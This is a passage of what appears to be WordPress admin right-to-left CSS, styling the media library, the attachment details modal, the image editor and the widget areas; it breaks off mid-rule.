.media-item .attachment-tools {
	display: flex;
	justify-content: flex-end;
	align-items: center;
}

.media-item .edit-attachment {
	padding: 14px 0;
	display: block;
	margin-left: 10px;
}

.media-item .edit-attachment.copy-to-clipboard-container {
	display: flex;
	margin-top: 0;
}

.media-item-copy-container .success {
	line-height: 0;
}

.media-item button .copy-attachment-url {
	margin-top: 14px;
}

.media-item .copy-to-clipboard-container {
	margin-top: 7px;
}

.media-item .describe-toggle-off,
.media-item.open .describe-toggle-on {
	display: none;
}

.media-item.open .describe-toggle-off {
	display: block;
}

.media-upload-form .media-item {
	min-height: 70px;
	margin-bottom: 1px;
	position: relative;
	width: 100%;
	background: #fff;
}

.media-upload-form .media-item,
.media-upload-form .media-item .error {
	box-shadow: 0 1px 0 #dcdcde;
}

#media-items:empty {
	border: 0 none;
}

.media-item .filename {
	padding: 14px 0;
	overflow: hidden;
	margin-right: 6px;
}

.media-item .pinkynail {
	float: right;
	margin: 0 0 0 10px;
	max-height: 70px;
	max-width: 70px;
}

.media-item .startopen,
.media-item .startclosed {
	display: none;
}

.media-item .original {
	position: relative;
	min-height: 34px;
}

.media-item .progress {
	float: left;
	height: 22px;
	margin: 7px 6px;
	width: 200px;
	line-height: 2em;
	padding: 0;
	overflow: hidden;
	border-radius: 22px;
	background: #dcdcde;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
}

.media-item .bar {
	z-index: 9;
	width: 0;
	height: 100%;
	margin-top: -22px;
	border-radius: 22px;
	background-color: #2271b1;
	box-shadow: inset 0 0 2px rgba(0, 0, 0, 0.3);
}

.media-item .progress .percent {
	z-index: 10;
	position: relative;
	width: 200px;
	padding: 0;
	color: #fff;
	text-align: center;
	line-height: 22px;
	font-weight: 400;
	text-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);
}

.upload-php .fixed .column-parent {
	width: 15%;
}

.js .html-uploader #plupload-upload-ui {
	display: none;
}

.js .html-uploader #html-upload-ui {
	display: block;
}

#html-upload-ui #async-upload {
	font-size: 1em;
}

.media-upload-form .media-item.error,
.media-upload-form .media-item .error {
	width: auto;
	margin: 0 0 1px;
}

.media-upload-form .media-item .error {
	padding: 10px 14px 10px 0;
	min-height: 50px;
}

.media-item .error-div button.dismiss {
	float: left;
	margin: 0 15px 0 10px;
}

/*------------------------------------------------------------------------------
  14.1 - Media Library
------------------------------------------------------------------------------*/

.find-box {
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	width: 600px;
	overflow: hidden;
	margin-right: -300px;
	position: fixed;
	top: 30px;
	bottom: 30px;
	right: 50%;
	z-index: 100105;
}

.find-box-head {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	height: 36px;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	padding: 0 16px 0 36px;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
}

.find-box-inside {
	overflow: auto;
	padding: 16px;
	background-color: #fff;
	position: absolute;
	top: 37px;
	bottom: 45px;
	overflow-y: scroll;
	width: 100%;
	box-sizing: border-box;
}

.find-box-search {
	padding-bottom: 16px;
}

.find-box-search .spinner {
	float: none;
	right: 105px;
	position: absolute;
}

.find-box-search,
#find-posts-response {
	position: relative; /* RTL fix, #WP28010 */
}

#find-posts-input,
#find-posts-search {
	float: right;
}

#find-posts-input {
	width: 140px;
	height: 28px;
	margin: 0 0 0 4px;
}

.widefat .found-radio {
	padding-left: 0;
	width: 16px;
}

#find-posts-close {
	width: 36px;
	height: 36px;
	border: none;
	padding: 0;
	position: absolute;
	top: 0;
	left: 0;
	cursor: pointer;
	text-align: center;
	background: none;
	color: #646970;
}

#find-posts-close:hover,
#find-posts-close:focus {
	color: #135e96;
}

#find-posts-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

#find-posts-close:before {
	font: normal 20px/36px dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	content: "\f158";
}

.find-box-buttons {
	padding: 8px 16px;
	background: #fff;
	border-top: 1px solid #dcdcde;
	position: absolute;
	bottom: 0;
	right: 0;
	left: 0;
}

@media screen and (max-width: 782px) {
	.find-box-inside {
		bottom: 57px;
	}
}

@media screen and (max-width: 660px) {

	.find-box {
		top: 0;
		bottom: 0;
		right: 0;
		left: 0;
		margin: 0;
		width: 100%;
	}

}

.ui-find-overlay {
	position: fixed;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100100;
}

.drag-drop #drag-drop-area {
	border: 4px dashed #c3c4c7;
	height: 200px;
}

.drag-drop .drag-drop-inside {
	margin: 60px auto 0;
	width: 250px;
}

.drag-drop-inside p {
	font-size: 14px;
	margin: 5px 0;
	display: none;
}

.drag-drop .drag-drop-inside p {
	text-align: center;
}

.drag-drop-inside p.drag-drop-info {
	font-size: 20px;
}

.drag-drop .drag-drop-inside p,
.drag-drop-inside p.drag-drop-buttons {
	display: block;
}

/*
#drag-drop-area:-moz-drag-over {
	border-color: #83b4d8;
}
border color while dragging a file over the uploader drop area */
.drag-drop.drag-over #drag-drop-area {
	border-color: #9ec2e6;
}

#plupload-upload-ui {
	position: relative;
}

.post-type-attachment .wp-filter select {
	margin: 0 0 0 6px;
}

/**
 * Media Library grid view
 */

.media-frame.mode-grid,
.media-frame.mode-grid .media-frame-content,
.media-frame.mode-grid .attachments-browser:not(.has-load-more) .attachments,
.media-frame.mode-grid .attachments-browser.has-load-more .attachments-wrapper,
.media-frame.mode-grid .uploader-inline-content {
	position: static;
}

/* Regions we don't use at all */
.media-frame.mode-grid .media-frame-title,
.media-frame.mode-grid .media-frame-router,
.media-frame.mode-grid .media-frame-menu {
	display: none;
}

.media-frame.mode-grid .media-frame-content {
	background-color: transparent;
	border: none;
}

.upload-php .mode-grid .media-sidebar {
	position: relative;
	width: auto;
	margin-top: 12px;
	padding: 0 16px;
	border-right: 4px solid #d63638;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	background-color: #fff;
}

.upload-php .mode-grid .hide-sidebar .media-sidebar {
	display: none;
}

.upload-php .mode-grid .media-sidebar .media-uploader-status {
	border-bottom: none;
	padding-bottom: 0;
	max-width: 100%;
}

.upload-php .mode-grid .media-sidebar .upload-error {
	margin: 12px 0;
	padding: 4px 0 0;
	border: none;
	box-shadow: none;
	background: none;
}

.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2 {
	display: none;
}

.media-frame.mode-grid .uploader-inline {
	position: relative;
	top: auto;
	left: auto;
	right: auto;
	bottom: auto;
	padding-top: 0;
	margin-top: 20px;
	border: 4px dashed #c3c4c7;
}

.media-frame.mode-select .attachments-browser.fixed:not(.has-load-more) .attachments,
.media-frame.mode-select .attachments-browser.has-load-more.fixed .attachments-wrapper {
	position: relative;
	top: 94px; /* prevent jumping up when the toolbar becomes fixed */
	padding-bottom: 94px; /* offset for above so the bottom doesn't get cut off */
}

.media-frame.mode-grid .attachment:focus,
.media-frame.mode-grid .selected.attachment:focus,
.media-frame.mode-grid .attachment.details:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -6px;
}

.media-frame.mode-grid .selected.attachment {
	box-shadow:
		inset 0 0 0 5px #f0f0f1,
		inset 0 0 0 7px #c3c4c7;
}

.media-frame.mode-grid .attachment.details {
	box-shadow:
		inset 0 0 0 3px #f0f0f1,
		inset 0 0 0 7px #4f94d4;
}

.media-frame.mode-grid.mode-select .attachment .thumbnail {
	opacity: 0.65;
}

.media-frame.mode-select .attachment.selected .thumbnail {
	opacity: 1;
}

.media-frame.mode-grid .media-toolbar {
	margin-bottom: 15px;
	height: auto;
}

.media-frame.mode-grid .media-toolbar select {
	margin: 0 0 0 10px;
}

.media-frame.mode-grid.mode-edit .media-toolbar-secondary > .select-mode-toggle-button {
	margin: 0 0 0 8px;
	vertical-align: middle;
}

.media-frame.mode-grid .attachments-browser .bulk-select {
	display: inline-block;
	margin: 0 0 0 10px;
}

.media-frame.mode-grid .search {
	margin-top: 0;
}

.media-frame-content .media-search-input-label {
	margin: 0 0 0 .2em;
	vertical-align: baseline;
}

.media-frame.mode-grid .media-search-input-label {
	position: static;
	margin: 0 0 0 .5em;
}

.attachments-browser .media-toolbar-secondary > .media-button {
	margin-left: 10px;
}

.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
	position: fixed;
	top: 32px;
	right: auto;
	left: 20px;
	margin-top: 0;
}

.media-frame.mode-grid .attachments-browser {
	padding: 0;
}

.media-frame.mode-grid .attachments-browser .attachments {
	padding: 2px;
}

.media-frame.mode-grid .attachments-browser .no-media {
	color: #646970; /* same as no plugins and no themes */
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 100px 0 0;
	text-align: center;
}

/**
 * Attachment details modal
 */

.edit-attachment-frame {
	display: block;
	height: 100%;
	width: 100%;
}

.edit-attachment-frame .edit-media-header {
	overflow: hidden;
}

.upload-php .media-modal-close .media-modal-icon:before {
	content: "\f335";
	font-size: 22px;
}

.upload-php .media-modal-close,
.edit-attachment-frame .edit-media-header .left,
.edit-attachment-frame .edit-media-header .right {
	cursor: pointer;
	color: #787c82;
	background-color: transparent;
	height: 50px;
	width: 50px;
	padding: 0;
	position: absolute;
	text-align: center;
	border: 0;
	border-right: 1px solid #dcdcde;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.upload-php .media-modal-close {
	top: 0;
	left: 0;
}

.edit-attachment-frame .edit-media-header .left {
	left: 102px;
}

.edit-attachment-frame .edit-media-header .right {
	left: 51px;
}

.edit-attachment-frame .media-frame-title {
	right: 0;
	left: 150px; /* leave space for prev/next/close */
}

.edit-attachment-frame .edit-media-header .right:before,
.edit-attachment-frame .edit-media-header .left:before {
	font: normal 20px/50px dashicons !important;
	display: inline;
	font-weight: 300;
}

.upload-php .media-modal-close:hover,
.upload-php .media-modal-close:focus,
.edit-attachment-frame .edit-media-header .left:hover,
.edit-attachment-frame .edit-media-header .right:hover,
.edit-attachment-frame .edit-media-header .left:focus,
.edit-attachment-frame .edit-media-header .right:focus {
	background: #dcdcde;
	border-color: #c3c4c7;
	color: #000;
	outline: none;
	box-shadow: none;
}

.upload-php .media-modal-close:focus,
.edit-attachment-frame .edit-media-header .left:focus,
.edit-attachment-frame .edit-media-header .right:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.upload-php .media-modal-close:focus .media-modal-icon:before,
.upload-php .media-modal-close:hover .media-modal-icon:before {
	color: #000;
}

.edit-attachment-frame .edit-media-header .left:before {
	content: "\f345";
}

.edit-attachment-frame .edit-media-header .right:before {
	content: "\f341";
}

.edit-attachment-frame .edit-media-header [disabled],
.edit-attachment-frame .edit-media-header [disabled]:hover {
	color: #c3c4c7;
	background: inherit;
	cursor: default;
}

.edit-attachment-frame .media-frame-content,
.edit-attachment-frame .media-frame-router {
	right: 0;
}

.edit-attachment-frame .media-frame-content {
	border-bottom: none;
	bottom: 0;
	top: 50px;
}

.edit-attachment-frame .attachment-details {
	position: absolute;
	overflow: auto;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	box-shadow: inset 0 4px 4px -4px rgba(0, 0, 0, 0.1);
}

.edit-attachment-frame .attachment-media-view {
	float: right;
	width: 65%;
	height: 100%;
}

.edit-attachment-frame .attachment-media-view .thumbnail {
	box-sizing: border-box;
	padding: 16px;
	height: 100%;
}

.edit-attachment-frame .attachment-media-view .details-image {
	display: block;
	margin: 0 auto 16px;
	max-width: 100%;
	max-height: 90%;
	max-height: calc( 100% - 42px ); /* leave space for actions underneath */
	background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 100% 0, 10px 10px;
	background-size: 20px 20px;
}

.edit-attachment-frame .attachment-media-view .details-image.icon {
	background: none;
}

.edit-attachment-frame .attachment-media-view .attachment-actions {
	text-align: center;
}

.edit-attachment-frame .wp-media-wrapper {
	margin-bottom: 12px;
}

.edit-attachment-frame input,
.edit-attachment-frame textarea {
	padding: 4px 8px;
	line-height: 1.42857143;
}

.edit-attachment-frame .attachment-info {
	overflow: auto;
	box-sizing: border-box;
	margin-bottom: 0;
	padding: 12px 16px 0;
	width: 35%;
	height: 100%;
	box-shadow: inset 0 4px 4px -4px rgba(0, 0, 0, 0.1);
	border-bottom: 0;
	border-right: 1px solid #dcdcde;
	background: #f6f7f7;
}

.edit-attachment-frame .attachment-info .details,
.edit-attachment-frame .attachment-info .settings {
	position: relative; /* RTL fix, #WP29352 */
	overflow: hidden;
	float: none;
	margin-bottom: 15px;
	padding-bottom: 15px;
	border-bottom: 1px solid #dcdcde;
}

.edit-attachment-frame .attachment-info .filename {
	font-weight: 400;
	color: #646970;
}

.edit-attachment-frame .attachment-info .thumbnail {
	margin-bottom: 12px;
}

.attachment-info .actions {
	margin-bottom: 16px;
}

.attachment-info .actions a {
	display: inline;
	text-decoration: none;
}

.copy-to-clipboard-container {
	display: flex;
	align-items: center;
	margin-top: 8px;
	clear: both;
}

.copy-to-clipboard-container .copy-attachment-url {
	white-space: normal;
}

.copy-to-clipboard-container .success {
	color: #007017;
	margin-right: 8px;
}

/*------------------------------------------------------------------------------
  14.2 - Image Editor
------------------------------------------------------------------------------*/
.wp_attachment_details .attachment-alt-text {
	margin-bottom: 5px;
}

.wp_attachment_details #attachment_alt {
	max-width: 500px;
	height: 3.28571428em;
}

.wp_attachment_details .attachment-alt-text-description {
	margin-top: 5px;
}

.wp_attachment_details label[for="content"] {
	font-size: 13px;
	line-height: 1.5;
	margin: 1em 0;
}

.wp_attachment_details #attachment_caption {
	height: 4em;
}

.describe .image-editor {
	vertical-align: top;
}

.imgedit-wrap {
	position: relative;
	padding-top: 10px;
}

.image-editor p,
.image-editor fieldset {
	margin: 8px 0;
}

.image-editor legend {
	margin-bottom: 5px;
}

.describe .imgedit-wrap .image-editor {
	padding: 0 5px;
}

.wp_attachment_holder div.updated {
	margin-top: 0;
}

.wp_attachment_holder .imgedit-wrap > div {
	height: auto;
}

.imgedit-panel-content {
	display: flex;
	flex-wrap: wrap;
	gap: 20px;
	margin-bottom: 20px;
}

.imgedit-settings {
	max-width: 400px; /* Prevent reflow when help info is expanded. */
}

.imgedit-group-controls > * {
	display: none;
}

.imgedit-panel-active .imgedit-group-controls > * {
	display: block;
}

.wp_attachment_holder .imgedit-wrap .image-editor {
	float: left;
	width: 250px;
}

.image-editor input {
	margin-top: 0;
	vertical-align: middle;
}

.imgedit-wait {
	position: absolute;
	top: 0;
	bottom: 0;
	width: 100%;
	background: #fff;
	opacity: 0.7;
	filter: alpha(opacity=70);
	display: none;
}

.imgedit-wait:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	right: 50%;
	top: 50%;
	margin: -10px -10px 0 0;
	background: transparent url(../images/spinner.gif) no-repeat center;
	background-size: 20px 20px;
	transform: translateZ(0);
}

.no-float {
	float: none;
}

.media-disabled,
.image-editor .disabled {
	/* WCAG 1.4.3 Text or images of text that are part of an inactive user
	   interface component ... have no contrast requirement. */
	color: #a7aaad;
}

.A1B1 {
	overflow: hidden;
}

.wp_attachment_image .button,
.A1B1 .button {
	float: right;
}

.no-js .wp_attachment_image .button {
	display: none;
}

.wp_attachment_image .spinner,
.A1B1 .spinner {
	float: right;
}

.imgedit-menu .note-no-rotate {
	clear: both;
	margin: 0;
	padding: 1em 0 0;
}

.image-editor .imgedit-menu .button {
	display: inline-block;
	width: auto;
	min-height: 28px;
	font-size: 13px;
	line-height: 2;
	padding: 0 10px;
}

.imgedit-menu .button:after,
.imgedit-menu .button:before {
	font: normal 16px/1 dashicons;
	margin-left: 8px;
	speak: never;
	vertical-align: middle;
	position: relative;
	top: -2px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.imgedit-menu .imgedit-rotate.button:after {
	content: '\f140';
	margin-right: 2px;
	margin-left: 0;
}

.imgedit-menu .imgedit-rotate.button[aria-expanded="true"]:after {
	content: '\f142';
}

.imgedit-menu .button.disabled {
	color: #a7aaad;
	border-color: #dcdcde;
	background: #f6f7f7;
	box-shadow: none;
	text-shadow: 0 1px 0 #fff;
	cursor: default;
	transform: none;
}

.imgedit-crop:before {
	content: "\f165";
}

.imgedit-scale:before {
	content: "\f211";
}

.imgedit-rotate:before {
	content: "\f167";
}

.imgedit-undo:before {
	content: "\f171";
}

.imgedit-redo:before {
	content: "\f172";
}

.imgedit-crop-wrap {
	position: relative;
}

.imgedit-crop-wrap img {
	background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 100% 0, 10px 10px;
	background-size: 20px 20px;
}

.imgedit-crop-wrap {
	padding: 20px;
	background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 100% 0, 10px 10px;
	background-size: 20px 20px;
}


.imgedit-crop {
	margin: 0 0 0 8px;
}

.imgedit-rotate {
	margin: 0 3px 0 8px;
}

.imgedit-undo {
	margin: 0 3px;
}

.imgedit-redo {
	margin: 0 3px 0 8px;
}

.imgedit-thumbnail-preview-group {
	display: flex;
	flex-wrap: wrap;
	column-gap: 10px;
}

.imgedit-thumbnail-preview {
	margin: 10px 0 0 8px;
}

.imgedit-thumbnail-preview-caption {
	display: block;
}

#poststuff .imgedit-group-top h2 {
	display: inline-block;
	margin: 0;
	padding: 0;
	font-size: 14px;
	line-height: 1.4;
}

#poststuff .imgedit-group-top .button-link {
	text-decoration: none;
	color: #1d2327;
}

.imgedit-applyto .imgedit-label {
	display: block;
	padding: .5em 0 0;
}

.imgedit-popup-menu,
.imgedit-help {
	display: none;
	padding-bottom: 8px;
}

.imgedit-panel-tools > .imgedit-menu {
	display: flex;
	column-gap: 4px;
	align-items: flex-start;
	flex-wrap: wrap;
}

.imgedit-popup-menu {
	width: calc( 100% - 20px );
	position: absolute;
	background: #fff;
	padding: 10px;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
}

.image-editor .imgedit-menu .imgedit-popup-menu button {
	display: block;
	margin: 2px 0;
	width: 100%;
	white-space: break-spaces;
	line-height: 1.5;
	padding-top: 3px;
	padding-bottom: 2px;
}

.imgedit-rotate-menu-container {
	position: relative;
}

.imgedit-help.imgedit-restore {
	padding-bottom: 0;
}

/* higher specificity than buttons */
.image-editor .imgedit-settings .imgedit-help-toggle,
.image-editor .imgedit-settings .imgedit-help-toggle:hover,
.image-editor .imgedit-settings .imgedit-help-toggle:active {
	border: 1px solid transparent;
	margin: -1px -1px 0 0;
	padding: 0;
	background: transparent;
	color: #2271b1;
	font-size: 20px;
	line-height: 1;
	cursor: pointer;
	box-sizing: content-box;
	box-shadow: none;
}

.image-editor .imgedit-settings .imgedit-help-toggle:focus {
	color: #2271b1;
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.form-table td.imgedit-response {
	padding: 0;
}

.imgedit-submit-btn {
	margin-right: 20px;
}

.imgedit-wrap .nowrap {
	white-space: nowrap;
	font-size: 12px;
	line-height: inherit;
}

span.imgedit-scale-warn {
	display: flex;
	align-items: center;
	margin: 4px;
	gap: 4px;
	color: #b32d2e;
	font-style: normal;
	visibility: hidden;
	vertical-align: middle;
}

.imgedit-save-target {
	margin: 8px 0;
}

.imgedit-save-target legend {
	font-weight: 600;
}

.imgedit-group {
	margin-bottom: 20px;
}

.image-editor .imgedit-original-dimensions {
	display: inline-block;
}

.image-editor .imgedit-scale-controls input[type="text"],
.image-editor .imgedit-crop-ratio input[type="text"],
.image-editor .imgedit-crop-sel input[type="text"],
.image-editor .imgedit-scale-controls input[type="number"],
.image-editor .imgedit-crop-ratio input[type="number"],
.image-editor .imgedit-crop-sel input[type="number"] {
	width: 80px;
	font-size: 14px;
	padding: 0 8px;
}

.imgedit-separator {
	display: inline-block;
	width: 7px;
	text-align: center;
	font-size: 13px;
	color: #3c434a;
}

.image-editor .imgedit-scale-button-wrapper {
	margin-top: 0.3077em;
	display: block;
}

.image-editor .imgedit-scale-controls .button {
	margin-bottom: 0;
}

audio, video {
	display: inline-block;
	max-width: 100%;
}

.wp-core-ui .mejs-container {
	width: 100%;
	max-width: 100%;
}

.wp-core-ui .mejs-container * {
	box-sizing: border-box;
}

.wp-core-ui .mejs-time {
	box-sizing: content-box;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	.imgedit-wait:before {
		background-image: url(../images/spinner-2x.gif);
	}
}

@media screen and (max-width: 782px) {
	.edit-attachment-frame input,
	.edit-attachment-frame textarea {
		line-height: 1.5;
	}
	
	.wp_attachment_details label[for="content"] {
		font-size: 14px;
		line-height: 1.5;
	}

	.wp_attachment_details textarea {
		line-height: 1.5;
	}

	.wp_attachment_details #attachment_alt {
		height: 3.375em;
	}

	.media-upload-form .media-item.error,
	.media-upload-form .media-item .error {
		font-size: 13px;
		line-height: 1.5;
	}

	.media-upload-form .media-item.error {
		padding: 1px 10px;
	}

	.media-upload-form .media-item .error {
		padding: 10px 12px 10px 0;
	}

	.image-editor .imgedit-scale input[type="text"],
	.image-editor .imgedit-crop-ratio input[type="text"],
	.image-editor .imgedit-crop-sel input[type="text"] {
		font-size: 16px;
		padding: 6px 10px;
	}

	.wp_attachment_holder .imgedit-wrap .imgedit-panel-content,
	.wp_attachment_holder .imgedit-wrap .image-editor {
		float: none;
		width: auto;
		max-width: none;
		padding-bottom: 16px;
	}

	.copy-to-clipboard-container .success {
		font-size: 14px;
	}

	/* Restructure image editor on narrow viewports. */
	.imgedit-crop-wrap img{
		width: 100%;
	}

	.media-modal .imgedit-wrap .imgedit-panel-content,
	.media-modal .imgedit-wrap .image-editor {
		position: initial !important;
	}

	.media-modal .imgedit-wrap .image-editor {
		box-sizing: border-box;
		width: 100% !important;
	}

	.image-editor .imgedit-scale-button-wrapper {
		display: inline-block;
	}
}

@media only screen and (max-width: 600px) {
	.media-item-wrapper {
		grid-template-columns: 1fr;
	}
}

/**
 * Media queries for media grid.
 */
@media only screen and (max-width: 1120px) {
	/* override for media-views.css */
	#wp-media-grid .wp-filter .attachment-filters {
		max-width: 100%;
	}
}

@media only screen and (max-width: 1000px) {
	/* override for forms.css */
	.wp-filter p.search-box {
		float: none;
		width: 100%;
		margin-bottom: 20px;
		display: flex;
	}

}

@media only screen and (max-width: 782px) {
	.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
		top: 46px;
		left: 10px;
	}
}

@media only screen and (max-width: 600px) {
	.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
		top: 0;
	}
}

@media only screen and (max-width: 480px) {
	.edit-attachment-frame .media-frame-title {
		left: 110px;
	}

	.upload-php .media-modal-close,
	.edit-attachment-frame .edit-media-header .left,
	.edit-attachment-frame .edit-media-header .right {
		width: 40px;
		height: 40px;
	}

	.edit-attachment-frame .edit-media-header .right:before,
	.edit-attachment-frame .edit-media-header .left:before {
		line-height: 40px !important;
	}

	.edit-attachment-frame .edit-media-header .left {
		left: 82px;
	}

	.edit-attachment-frame .edit-media-header .right {
		left: 41px;
	}

	.edit-attachment-frame .media-frame-content {
		top: 40px;
	}

	.edit-attachment-frame .attachment-media-view {
		float: none;
		height: auto;
		width: 100%;
	}

	.edit-attachment-frame .attachment-info {
		height: auto;
		width: 100%;
	}
}

@media only screen and (max-width: 640px), screen and (max-height: 400px) {
	.upload-php .mode-grid .media-sidebar{
		max-width: 100%;
	}
}
/*! This file is auto-generated */
/* General Widgets Styles */

.widget {
	margin: 0 auto 10px;
	position: relative;
	box-sizing: border-box;
}

.widget.open {
	z-index: 99;
}
.widget.open:focus-within {
	z-index: 100;
}

.widget-top {
	font-size: 13px;
	font-weight: 600;
	background: #f6f7f7;
}

.widget-top .widget-action {
	border: 0;
	margin: 0;
	padding: 10px;
	background: none;
	cursor: pointer;
}

.widget-title h3,
.widget-title h4 {
	margin: 0;
	padding: 15px;
	font-size: 1em;
	line-height: 1;
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
	-webkit-user-select: none;
	user-select: none;
}

.widgets-holder-wrap .widget-inside {
	border-top: none;
	padding: 1px 15px 15px;
	line-height: 1.23076923;
}

.widget.widget-dirty .widget-control-close-wrapper {
	display: none;
}

.in-widget-title,
#widgets-right a.widget-control-edit,
#available-widgets .widget-description {
	color: #646970;
}

.deleting .widget-title,
.deleting .widget-top .widget-action .toggle-indicator:before {
	color: #a7aaad;
}

/* Media Widgets */
.wp-core-ui .media-widget-control.selected .placeholder,
.wp-core-ui .media-widget-control.selected .not-selected,
.wp-core-ui .media-widget-control .selected {
	display: none;
}

.media-widget-control.selected .selected {
	display: inline-block;
}

.media-widget-buttons {
	text-align: right;
	margin-top: 0;
}

.media-widget-control .media-widget-buttons .button {
	width: auto;
	height: auto;
	margin-top: 12px;
	white-space: normal;
}

.media-widget-buttons .button:first-child {
	margin-left: 8px;
}

.media-widget-control .attachment-media-view .button-add-media,
.media-widget-control .placeholder {
	border: 1px dashed #c3c4c7;
	box-sizing: border-box;
	cursor: pointer;
	line-height: 1.6;
	padding: 9px 0;
	position: relative;
	text-align: center;
	width: 100%;
}

.media-widget-control .attachment-media-view .button-add-media {
	cursor: pointer;
	background-color: #f0f0f1;
	color: #2c3338;
}

.media-widget-control .attachment-media-view .button-add-media:hover {
	background-color: #fff;
}

.media-widget-control .attachment-media-view .button-add-media:focus {
	background-color: #fff;
	border-style: solid;
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.media-widget-control .media-widget-preview {
	background: transparent;
	text-align: center;
}
.media-widget-control .media-widget-preview .notice {
	text-align: initial;
}
.media-frame .media-widget-embed-notice p code,
.media-widget-control .notice p code {
	padding: 0 0 0 3px;
}
.media-frame .media-widget-embed-notice {
	margin-top: 16px;
}
.media-widget-control .media-widget-preview img {
	max-width: 100%;
	vertical-align: middle;
	background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 100% 0, 10px 10px;
	background-size: 20px 20px;
}
.media-widget-control .media-widget-preview .wp-video-shortcode {
	background: #000;
}

.media-frame.media-widget .media-toolbar-secondary {
	min-width: 300px;
}

.media-frame.media-widget .image-details .embed-media-settings .setting.align,
.media-frame.media-widget .attachment-display-settings .setting.align,
.media-frame.media-widget .embed-media-settings .setting.align,
.media-frame.media-widget .embed-media-settings .legend-inline,
.media-frame.media-widget .embed-link-settings .setting.link-text,
.media-frame.media-widget .replace-attachment,
.media-frame.media-widget .checkbox-setting.autoplay {
	display: none;
}

.media-widget-video-preview {
	width: 100%;
}

.media-widget-video-link {
	display: inline-block;
	min-height: 132px;
	width: 100%;
	background: #000;
}

.media-widget-video-link .dashicons {
	font: normal 60px/1 'dashicons';
	position: relative;
	width: 100%;
	top: -90px;
	color: #fff;
	text-decoration: none;
}

.media-widget-video-link.no-poster .dashicons {
	top: 30px;
}

.media-frame #embed-url-field.invalid,
.media-widget-image-link > .link:invalid {
	border: 1px solid #d63638;
}

.media-widget-image-link {
	margin: 1em 0;
}

.media-widget-gallery-preview {
	display: flex;
	justify-content: flex-start;
	flex-wrap: wrap;
	margin: -1.79104477%;
}

.media-widget-preview.media_gallery,
.media-widget-preview.media_image {
	cursor: pointer;
}

.media-widget-preview .placeholder {
	background: #f0f0f1;
}

.media-widget-gallery-preview .gallery-item {
	box-sizing: border-box;
	width: 50%;
	margin: 0;
	background: transparent;
}

.media-widget-gallery-preview .gallery-item .gallery-icon {
	margin: 4.5%;
}

/*
 * Use targeted nth-last-child selectors to control the size of each image
 * based on how many gallery items are present in the grid.
 * See: https://alistapart.com/article/quantity-queries-for-css
 */
.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child,
.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child ~ .gallery-item,
.media-widget-gallery-preview .gallery-item:nth-last-child(n+5),
.media-widget-gallery-preview .gallery-item:nth-last-child(n+5) ~ .gallery-item,
.media-widget-gallery-preview .gallery-item:nth-last-child(n+6),
.media-widget-gallery-preview .gallery-item:nth-last-child(n+6) ~ .gallery-item {
	max-width: 33.33%;
}

.media-widget-gallery-preview .gallery-item img {
	height: auto;
	vertical-align: bottom;
}

.media-widget-gallery-preview .gallery-icon {
	position: relative;
}

.media-widget-gallery-preview .gallery-icon-placeholder {
	position: absolute;
	top: 0;
	bottom: 0;
	width: 100%;
	box-sizing: border-box;
	display: flex;
	align-items: center;
	justify-content: center;
	background-color: rgba(0, 0, 0, 0.5);
}

.media-widget-gallery-preview .gallery-icon-placeholder-text {
	font-weight: 600;
	font-size: 2em;
	color: #fff;
}


/* Widget Dragging Helpers */
.widget.ui-draggable-dragging {
	min-width: 100%;
}

.widget.ui-sortable-helper {
	opacity: 0.8;
}

.widget-placeholder {
